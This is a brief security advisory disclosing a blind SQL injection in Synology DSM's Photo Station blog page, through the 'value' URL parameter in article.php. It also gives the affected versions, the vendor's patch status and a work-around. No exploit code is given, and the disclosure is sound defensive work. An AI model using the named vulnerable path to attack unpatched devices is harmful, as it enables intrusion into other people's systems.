Title: Synology DSM Blind SQL Injection  
Version affected: <= 4.3-3827  
Vendor: Synology  
Discovered by: Michael Wisniewski  
Status: Patched  
The file "/photo/include/blog/article.php" contains a Blind SQL  
Injection Vulnerability in the 'value' variable in the URL.  
The vendor was contacted approximately 2 weeks ago. They reviewed the  
information and determined that it is vulnerable and a patch has been  
released. The DSM5 official release contains this patch, which was  
released earlier this week. An update for DSM4.x will be released  
later this month to address this issue in the 4.x line. The vendor  
also stated that it will be fixed in the next Photo Station hotfix for  
the 4.x line.  
Work-around: If you don't use the blog, just rename the file.
